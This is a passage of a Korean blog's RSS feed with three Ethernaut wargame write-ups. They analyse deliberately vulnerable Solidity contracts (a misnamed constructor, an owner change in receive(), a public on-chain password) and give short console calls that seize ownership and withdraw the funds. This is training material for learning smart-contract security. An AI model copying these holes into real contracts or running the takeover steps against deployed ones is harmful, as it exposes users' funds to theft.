    </item>
    <item>
      <title>[Ethernaut] 02. Fallout WriteUp</title>
      <link>https://c0mpos3r.tistory.com/26</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 문제 분석&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right? Well... Not quite.&lt;br /&gt;The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:&lt;br /&gt;contract Rubixi { address private owner; function DynamicPyramid() { owner = msg.sender; } function collectAllFees() { owner.transfer(this.balance) } ... &lt;br /&gt;This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland.&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;어리석지 않았어? 실제 계약은 이것보다 훨씬 안전해야하므로 해킹하기가 훨씬 더 어려워 야합니까? &lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;글쎄 ... 그다지 아닙니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;Rubixi의 이야기는 이더 리움 생태계에서 매우 잘 알려진 사례입니다. 이 회사는 이름을 'Dynamic Pyramid'에서 'Rubixi'로 변경했지만 어떻게 든 계약의 생성자 방법을 바꾸지 않았습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;이를 통해 공격자는 이전 생성자에게 전화하여 계약의 소유권을 청구하고 일부 자금을 훔칠 수있었습니다. 네. SmartContractland에서는 큰 실수를 저지를 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-1. code&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1756038975348&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import &quot;openzeppelin-contracts-06/math/SafeMath.sol&quot;;

contract Fallout {
    using SafeMath for uint256;

    mapping(address =&amp;gt; uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, &quot;caller is not the owner&quot;);
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] &amp;gt; 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-2. Fallout Contract 분석&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;상태 변수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;380&quot; data-start=&quot;261&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;325&quot; data-start=&quot;261&quot;&gt;&lt;b&gt;mapping(address &amp;rArr; uint256) allocations&lt;/b&gt; : 입금 기록&lt;/li&gt;
&lt;li data-end=&quot;380&quot; data-start=&quot;328&quot;&gt;&lt;b&gt;address payable public &lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;b&gt;owner&lt;/b&gt; :&lt;/span&gt; 소유자 주소(인출 권한)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;주요 함수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;380&quot; data-start=&quot;261&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;380&quot; data-start=&quot;328&quot;&gt;&lt;b&gt;Fal1out() public payable&lt;/b&gt; &amp;rarr; &lt;b&gt;owner = msg.sender&lt;/b&gt; 지정&lt;/li&gt;
&lt;li data-end=&quot;380&quot; data-start=&quot;328&quot;&gt;&lt;b&gt;allocate() public payable&lt;/b&gt; &amp;rarr; 호출자 allocations에 msg.value 가산&lt;/li&gt;
&lt;li data-end=&quot;380&quot; data-start=&quot;328&quot;&gt;&lt;b&gt;sendAllocation(address payable allocator) public&lt;/b&gt; &amp;rarr; allocator.transfer(allocations[allocator]) (상태 감소 없음)&lt;/li&gt;
&lt;li data-end=&quot;380&quot; data-start=&quot;328&quot;&gt;&lt;b&gt;collectAllocations() public onlyOwner&lt;/b&gt; &amp;rarr; contract 잔액 전부 owner에게 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;2. Solving&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1494&quot; data-start=&quot;1452&quot;&gt;&lt;b&gt;contract.Fal1out()&lt;/b&gt; 호출로 &lt;b&gt;msg.sender = owner&lt;/b&gt; 탈취&lt;/li&gt;
&lt;li data-end=&quot;1536&quot; data-start=&quot;1497&quot;&gt;&lt;b&gt;contract.collectAllocations()&lt;/b&gt; 호출로 컨트랙트 잔액 수령&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1756039085054&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;await contract.Fal1out()

await contract.owner()

await contract.collectAllocations()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;image.png&quot; data-origin-width=&quot;1372&quot; data-origin-height=&quot;1510&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AwlKO/btsP4zx2qHg/iYPk7jiL13uw5kNjbS9H90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AwlKO/btsP4zx2qHg/iYPk7jiL13uw5kNjbS9H90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AwlKO/btsP4zx2qHg/iYPk7jiL13uw5kNjbS9H90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAwlKO%2FbtsP4zx2qHg%2FiYPk7jiL13uw5kNjbS9H90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1372&quot; height=&quot;1510&quot; data-filename=&quot;image.png&quot; data-origin-width=&quot;1372&quot; data-origin-height=&quot;1510&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;3. 결론&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Smart Contract의 권한, 초기화는 암묵적 규약(함수명 관습 등)에 의존하면 한 글자 실수 만으로도 즉시 소유권&amp;middot;자금 탈취로 이어지므로, 명시성, 테스트, 코드 리뷰 감사를 기본 원칙으로 삼아야 한다.&lt;/p&gt;</description>
      <category>Web3/Hacking</category>
      <category>ethernaut</category>
      <category>fallout</category>
      <category>solidity</category>
      <category>Wargame</category>
      <author>음대생</author>
      <guid isPermaLink="true">https://c0mpos3r.tistory.com/26</guid>
      <comments>https://c0mpos3r.tistory.com/26#entry26comment</comments>
      <pubDate>Sun, 24 Aug 2025 22:16:39 +0900</pubDate>
    </item>
    <item>
      <title>[Ethernaut] 01. Fallback WriteUp</title>
      <link>https://c0mpos3r.tistory.com/25</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 문제 분석&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote style=&quot;background-color: #ffffff; color: #666666; text-align: left;&quot; data-ke-style=&quot;style2&quot;&gt;You know the basics of how ether goes in and out of contracts, including the usage of the fallback method.&lt;br /&gt;You've also learnt about OpenZeppelin's Ownable contract, and how it can be used to restrict the usage of some methods to a privileged address.&lt;br /&gt;Move on to the next level when you're ready!&lt;/blockquote&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;당신은 폴백 방법의 사용을 포함하여 에테르가 계약에 들어오고 나가는 방법의 기본 사항을 알고 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;또한 OpenZeppelin의 자체 계약과 일부 방법의 사용법을 권한있는 주소로 제한하는 데 어떻게 사용될 수 있는지에 대해 배웠습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;준비되면 다음 단계로 이동하십시오!&lt;/span&gt;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-1. code&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1756036917233&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address =&amp;gt; uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, &quot;caller is not the owner&quot;);
        _;
    }

    function contribute() public payable {
        require(msg.value &amp;lt; 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] &amp;gt; contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value &amp;gt; 0 &amp;amp;&amp;amp; contributions[msg.sender] &amp;gt; 0);
        owner = msg.sender;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-2. Fallback Contract 분석&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;81&quot; data-start=&quot;74&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;상태 변수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;246&quot; data-start=&quot;82&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;187&quot; data-start=&quot;82&quot;&gt;&lt;b&gt;mapping(address =&amp;gt; uint256) public contributions&lt;/b&gt;&lt;br /&gt;주소별 기여 금액을 이더 단위로 기록. public이라 자동 getter가 생성됨.&lt;/li&gt;
&lt;li data-end=&quot;246&quot; data-start=&quot;188&quot;&gt;&lt;b&gt;address public owner&lt;/b&gt;&lt;br /&gt;현재 소유자 주소. 생성 시 배포자를 소유자로 설정.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;256&quot; data-start=&quot;248&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;생성자 동작&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;392&quot; data-start=&quot;257&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;392&quot; data-start=&quot;257&quot;&gt;&lt;b&gt;constructor()&lt;/b&gt;&lt;br /&gt;배포자를 owner로 지정하고, &lt;b&gt;contributions[배포자] = 1000 ether&lt;/b&gt;로 크게 설정.&lt;br /&gt;이 값 때문에 정상 경로로는 기여 합계가 소유자의 기여액을 넘기 매우 어렵게 설계됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;400&quot; data-start=&quot;394&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;접근제어&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;460&quot; data-start=&quot;401&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;460&quot; data-start=&quot;401&quot;&gt;&lt;b&gt;modifier onlyOwner(): &lt;/b&gt;호출자가 owner인지 확인. &lt;b&gt;아니면 revert.&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;469&quot; data-start=&quot;462&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;주요 함수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1204&quot; data-start=&quot;470&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;711&quot; data-start=&quot;470&quot;&gt;&lt;b&gt;function contribute() public payable&lt;/b&gt;&lt;br /&gt;전송액이 &lt;b&gt;0.001 ether 미만&lt;/b&gt;이어야 함. ( 1000 / 0.001 = 1000000 -&amp;gt; 전송 가스비가 더 커짐 )&amp;nbsp;&lt;br /&gt;호출자의 기여도를 누적하고, 누적 기여도가 &lt;b&gt;현 owner의 기여도보다 커지면 owner = msg.sender.&lt;/b&gt;&lt;br /&gt;단, 초기 owner의 기여도가 1000 ether라 사실상 이 조건을 넘기기 현실적으로 불가능에 가깝고, 실질적인 &lt;b&gt;소유권 변경 경로는 receive()&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;958&quot; data-start=&quot;798&quot;&gt;&lt;b&gt;function withdraw() public onlyOwner&lt;/b&gt;&lt;br /&gt;컨트랙트 잔액 전부를 owner에게 transfer로 송금.&lt;br /&gt;transfer는 2300가스 제한이 있어 owner가 컨트랙트일 때 수신 훅이 무거우면 실패할 수 있다는 점은 참고 사항.&lt;/li&gt;
&lt;li data-end=&quot;1204&quot; data-start=&quot;960&quot;&gt;&lt;b&gt;receive() external payable&lt;/b&gt;&lt;br /&gt;&lt;b&gt;빈 calldata로 이더를 받는 기본 수신 훅&lt;/b&gt;.&lt;br /&gt;전송액이 양수이고, &lt;b&gt;발신자의 contributions&lt;/b&gt;가 양수이면 &lt;b&gt;owner = msg.sender로 즉시 소유권 변경&lt;/b&gt;.&lt;br /&gt;이 조건이 취약점의 핵심으로, 공격자는 먼저 &lt;b&gt;contribute()로 아주 소액&lt;/b&gt;을 기록해 둔 뒤, 빈 데이터로 이더를 보내 &lt;b&gt;receive()를 발동시켜 오너를 탈취&lt;/b&gt;할 수 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;2. Solving&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;818&quot; data-start=&quot;704&quot;&gt;&lt;b&gt;contribute()로 극소량 전송&lt;/b&gt;해 본인 &lt;b&gt;contributions[msg.sender]&lt;/b&gt;를 require를 통과할 수 있게 만든다.&amp;nbsp;&lt;/li&gt;
&lt;li data-end=&quot;925&quot; data-start=&quot;819&quot;&gt;빈 데이터로 값만 보내 &lt;b&gt;receive()&lt;/b&gt;를 호출한다.&lt;/li&gt;
&lt;li data-end=&quot;993&quot; data-start=&quot;926&quot;&gt;이제 owner가 공격자 주소로 바뀌었으므로 &lt;b&gt;await contract.withdraw()&lt;/b&gt;로 전액 인출한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1756038251677&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 지분을 넣음 지분이 0일 때 require 조건을 참으로 만족시킴
await contract.contribute({value: toWei(&quot;0.0001&quot;) }) 

// 외부함수를 호출 함으로써 receive or fallback을 동작시킴 -&amp;gt; 소유권 탈취
await sendTransaction({from: player ,to: instance, value: towei(&quot;0.0000000001&quot;)})

// 권한 확인
await contract.owner() == player

// 자금을 다뺌
await contract.withdraw()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;image.png&quot; data-origin-width=&quot;1344&quot; data-origin-height=&quot;1530&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD9hcv/btsP43TaTdl/HxJkzecjdf0MqM7FLt6ZM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD9hcv/btsP43TaTdl/HxJkzecjdf0MqM7FLt6ZM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD9hcv/btsP43TaTdl/HxJkzecjdf0MqM7FLt6ZM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD9hcv%2FbtsP43TaTdl%2FHxJkzecjdf0MqM7FLt6ZM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1344&quot; height=&quot;1530&quot; data-filename=&quot;image.png&quot; data-origin-width=&quot;1344&quot; data-origin-height=&quot;1530&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;3&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;. 결론&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SmartContract 권한과 자금 흐름을 오직 명시적이고 검증 가능한 경로로만 다뤄야 하며, 값 수신 같은 암묵적 훅에 상태&amp;middot;권한 변화를 얹는 설계는 경제적 인센티브와 결합해 지배권과 자금을 탈취당하는 구조적 취약점이 된다.&lt;/p&gt;</description>
      <category>Web3/Hacking</category>
      <category>ethereum</category>
      <category>ethernaut</category>
      <category>fallback</category>
      <category>RECEIVE</category>
      <category>solidity</category>
      <category>Wargame</category>
      <author>음대생</author>
      <guid isPermaLink="true">https://c0mpos3r.tistory.com/25</guid>
      <comments>https://c0mpos3r.tistory.com/25#entry25comment</comments>
      <pubDate>Sun, 24 Aug 2025 21:32:17 +0900</pubDate>
    </item>
    <item>
      <title>[Ethernaut] 00. Hello Ethernaut WriteUp</title>
      <link>https://c0mpos3r.tistory.com/24</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 문제 분석&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Congratulations! You have completed the tutorial. Have a look at the Solidity code for the contract you just interacted with below.&lt;br /&gt;You are now ready to complete all the levels of the game, and as of now, you're on your own.&lt;br /&gt;Godspeed!!&lt;/blockquote&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;축하해요! 튜토리얼을 완료했습니다. 아래에서 방금 상호 작용 한 계약의 견고성 코드를 살펴보십시오.&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;이제 게임의 모든 레벨을 완료 할 준비가되었으며 현재는 자신이 혼자입니다.&lt;/span&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-1. code&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1756017370537&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Instance {
    string public password;
    uint8 public infoNum = 42;
    string public theMethodName = &quot;The method name is method7123949.&quot;;
    bool private cleared = false;

    // constructor
    constructor(string memory _password) {
        password = _password;
    }

    function info() public pure returns (string memory) {
        return &quot;You will find what you need in info1().&quot;;
    }

    function info1() public pure returns (string memory) {
        return 'Try info2(), but with &quot;hello&quot; as a parameter.';
    }

    function info2(string memory param) public pure returns (string memory) {
        if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked(&quot;hello&quot;))) {
            return &quot;The property infoNum holds the number of the next info method to call.&quot;;
        }
        return &quot;Wrong parameter.&quot;;
    }

    function info42() public pure returns (string memory) {
        return &quot;theMethodName is the name of the next method.&quot;;
    }

    function method7123949() public pure returns (string memory) {
        return &quot;If you know the password, submit it to authenticate().&quot;;
    }

    function authenticate(string memory passkey) public {
        if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
            cleared = true;
        }
    }

    function getCleared() public view returns (bool) {
        return cleared;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-2. Denial Contract 분석&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;323&quot; data-start=&quot;75&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;126&quot; data-start=&quot;75&quot;&gt;목표: &lt;b&gt;authenticate()&lt;/b&gt;를 성공시켜 &lt;b&gt;cleared = true&lt;/b&gt; 만들기&lt;/li&gt;
&lt;li data-end=&quot;192&quot; data-start=&quot;127&quot;&gt;취약점: 온체인에 &lt;b&gt;비밀(password)&lt;/b&gt;을 저장해 두었고, 더구나 &lt;b&gt;public&lt;/b&gt;이라 누구나 읽을 수 있음&lt;/li&gt;
&lt;li data-end=&quot;255&quot; data-start=&quot;193&quot;&gt;공격 벡터: &lt;b&gt;password()&lt;/b&gt;로 비밀번호 조회 &amp;rarr; &lt;b&gt;authenticate(password)&lt;/b&gt; 호출&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;332&quot; data-start=&quot;325&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;상태 변수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;569&quot; data-start=&quot;345&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;394&quot; data-start=&quot;345&quot;&gt;&lt;b&gt;string&amp;nbsp;public&amp;nbsp;password&lt;/b&gt;&amp;nbsp;&amp;rarr; 자동 getter로 그대로 노출&lt;/li&gt;
&lt;li data-end=&quot;437&quot; data-start=&quot;397&quot;&gt;&lt;b&gt;uint8&amp;nbsp;public&amp;nbsp;infoNum&lt;/b&gt;&amp;nbsp;= 42 &amp;rarr; 힌트용 값&lt;/li&gt;
&lt;li data-end=&quot;522&quot; data-start=&quot;440&quot;&gt;&lt;b&gt;theMethodName: string public&lt;/b&gt; = &quot;The method name is method7123949.&quot; &amp;rarr; 힌트용 문자열&lt;/li&gt;
&lt;li data-end=&quot;569&quot; data-start=&quot;525&quot;&gt;&lt;b&gt;bool&amp;nbsp;private&amp;nbsp;cleared&lt;/b&gt;&amp;nbsp;&amp;rarr; 인증 성공 시 true&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;2. Solving&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1549&quot; data-start=&quot;1458&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1487&quot; data-start=&quot;1458&quot;&gt;&lt;b&gt;password()&lt;/b&gt; 호출로 평문 비밀번호 획득&lt;/li&gt;
&lt;li data-end=&quot;1519&quot; data-start=&quot;1488&quot;&gt;&lt;b&gt;authenticate(&amp;lt;획득한_비밀번호&amp;gt;)&lt;/b&gt; 호출&lt;/li&gt;
&lt;li data-end=&quot;1549&quot; data-start=&quot;1520&quot;&gt;&lt;b&gt;getCleared()&lt;/b&gt;가 &lt;b&gt;true&lt;/b&gt;인지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1756019752369&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;await contract.authenticate(contract.password());
await contract.getCleared();&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;1964&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AETyx/btsP4kHNPcB/e0bO671dmNKVSviZatYyZk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AETyx/btsP4kHNPcB/e0bO671dmNKVSviZatYyZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AETyx/btsP4kHNPcB/e0bO671dmNKVSviZatYyZk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAETyx%2FbtsP4kHNPcB%2Fe0bO671dmNKVSviZatYyZk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3024&quot; height=&quot;1964&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;1964&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
